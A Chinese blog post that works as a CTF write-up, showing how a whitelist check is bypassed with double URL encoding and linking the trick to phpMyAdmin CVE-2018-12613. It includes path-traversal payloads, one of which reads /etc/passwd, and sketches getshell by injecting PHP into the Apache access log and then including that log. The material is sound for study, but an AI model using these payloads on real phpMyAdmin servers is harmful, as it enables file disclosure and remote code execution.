天天看點

借題目複現CVE-2018-12613Getshell

檔案包含

蒻姬我最開始接觸這個 是一道

buuoj

的web簽到題

借題目複現CVE-2018-12613Getshell

進入靶機,檢視源代碼

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>Document</title>
</head>
<body>
    <!--source.php-->
    
    <br><img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" /></body>
</html>           

劃重點

進入這個php源

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>           

再次劃重點

if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>           

有思路了

隻要通過這個判斷就會執行file傳遞的參數的檔案,想到可能時任意檔案包含。

通過引入檔案時,引用的檔案名,使用者可控,由于傳入的檔案名沒有經過合理的校驗,或者檢驗被繞過,進而操作了預想之外的檔案,就可能導緻意外的檔案洩露甚至惡意的代碼注入。

  • 再看if中的判斷,file參數不為空&&是個字元串&&通過checkFile方法的檢驗。去看checkFIle方法。
public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
           

看,hint.php 在白名單裡!

$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }


            
           

           

進入hint.php 看到這樣一行提示

flag not here, and flag in ffffllllaaaagggg

再回想前面條件,首先必須存在并且是字元串

(必須使函數傳回為true才能通路檔案)

if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
           

然後判斷參數是否在白名單中;

mb_strpos()的作用是查找字元串在另一個字元串中首次出現的位置,即?在前面字元串中出現的位置

而mb_substr()用以截斷字元串。

然後和白名單比較。

又重複了一次上面的操作。

這個涉及到phpMyAdmin的一個洞CVE-2018-12613,由于PHP會自動urldecode一次,導緻我們送出%253f(?的urlencode的urlencode)的時候自動轉成%3f,滿足if條件,%253f/就會被認為是一個目錄,進而include。就有了下面的轉化

? --> %3f --> %253f

payload: file=hint.php%253f/…/…/…/…/…/…/…/ffffllllaaaagggg           

關于cve-2018-12613-PhpMyadmin背景檔案包含

2018年6月19日,phpmyadmin在最新版本修複了一個嚴重級别的漏洞.

https://www.phpmyadmin.net/security/PMASA-2018-4/

官方漏洞描述是這樣的

An issue was discovered in phpMyAdmin 4.8.x before 4.8.2, in which an attacker can include (view and potentially 
execute) files on the server. The vulnerability comes from a portion of code where pages are redirected and loaded 
within phpMyAdmin, and an improper test for whitelisted pages. An attacker must be authenticated, except in the 
"$cfg['AllowArbitraryServer'] = true" case (where an attacker can specify any host he/she is already in control of, 
and execute arbitrary code on phpMyAdmin) and the "$cfg['ServerDefault'] = 0" case (which bypasses the login 
requirement and runs the vulnerable code without any authentication).           

問題在index.php的55~63:

// If we have a valid target, let's load that script instead
if (! empty($_REQUEST['target'])
    && is_string($_REQUEST['target'])
    && ! preg_match('/^index/', $_REQUEST['target'])
    && ! in_array($_REQUEST['target'], $target_blacklist)
    && Core::checkPageValidity($_REQUEST['target'])
) {
    include $_REQUEST['target'];
    exit;
}           

這裡對于參數共有5個判斷,判斷通過就可以通過Include包含檔案。

問題出在後兩個上

$target_blacklist = array (
    'import.php', 'export.php'
);           

以及

Core::checkPageValidity($_REQUEST['target']):

代碼在librariesclassesCore.php的443~476:

public static function checkPageValidity(&$page, array $whitelist = [])
    {
        if (empty($whitelist)) {
            $whitelist = self::$goto_whitelist;
        }
        if (! isset($page) || !is_string($page)) {
            return false;
        }

        if (in_array($page, $whitelist)) {
            return true;
        }

        $_page = mb_substr(
            $page,
            0,
            mb_strpos($page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        $_page = urldecode($page);
        $_page = mb_substr(
            $_page,
            0,
            mb_strpos($_page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        return false;
    }           

看,這跟上面的代碼幾乎是一個模子裡刻出來的

然後康康驗證的白名單whitelist

public static $goto_whitelist = array(
      'db_datadict.php',
      'db_sql.php',
      'db_events.php',
      'db_export.php',
      'db_importdocsql.php',
      'db_multi_table_query.php',
      'db_structure.php',
      'db_import.php',
      'db_operations.php',
      'db_search.php',
      'db_routines.php',
      'export.php',
      'import.php',
      'index.php',
      'pdf_pages.php',
      'pdf_schema.php',
      'server_binlog.php',
      'server_collations.php',
      'server_databases.php',
      'server_engines.php',
      'server_export.php',
      'server_import.php',
      'server_privileges.php',
      'server_sql.php',
      'server_status.php',
      'server_status_advisor.php',
      'server_status_monitor.php',
      'server_status_queries.php',
      'server_status_variables.php',
      'server_variables.php',
      'sql.php',
      'tbl_addfield.php',
      'tbl_change.php',
      'tbl_create.php',
      'tbl_import.php',
      'tbl_indexes.php',
      'tbl_sql.php',
      'tbl_export.php',
      'tbl_operations.php',
      'tbl_structure.php',
      'tbl_relation.php',
      'tbl_replace.php',
      'tbl_row_action.php',
      'tbl_select.php',
      'tbl_zoom_select.php',
      'transformation_overview.php',
      'transformation_wrapper.php',
      'user_password.php',
  );           

之後phpMyAdmin的開發團隊考慮到了target後面加參數的情況,通過字元串分割将問号的前面部分取出,繼續比對白名單,然後經過一遍urldecode後再重複動作。

得到payload

target=db_datadict.php%253f/../../../../../../../../etc/passwd           

此處再次分析胡扯檔案包含漏洞的具體産生原因

  • 程式員一般會把重複使用的函數寫到單個檔案中,需要使用某個函數時直接調用此檔案,而無需再次編寫,檔案調用的過程一般被稱為檔案包含。
  • 他們希望代碼更靈活,是以将被包含的檔案設定為變量,用來進行動态調用,
  • 但正是由于這種靈活性,進而導緻用戶端可以調用一個惡意檔案,造成檔案包含漏洞。
  • 幾乎所有腳本語言都會提供檔案包含的功能,但檔案包含漏洞在PHP Web Application中居多而在JSP、ASP、程式中卻非常少,甚至沒有,這是本身語言設計的弊端(猜測

Getshell

  • 上傳圖檔GETshell
  • 讀取檔案,讀取php檔案
  • 包含日志檔案擷取webshell
  1. 首先找到檔案存放位置

    有權限讀取apache配置檔案或是/etc/init.d/httpd

預設位置/var/log/httpd/access_log

  1. 讓日志檔案插入php代碼

    發送url請求時後插入php代碼,一般使用burp suite抓包修改

curl發包

插入到get請求,或是user-agent部分

  1. 包含日志檔案(必須要權限包含)

舉個栗子

if (isset($_GET[page])) {
include $_GET[page];
} else {
include "hint.PHP";
}
           

其中$_GET[page]使使用者可以控制變量。如果沒有嚴格的過濾就導緻漏洞的出現

代碼審計

包含檔案的函數

  • include()
  • include_once()
  • require()
  • require_once()

參考連結

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-12613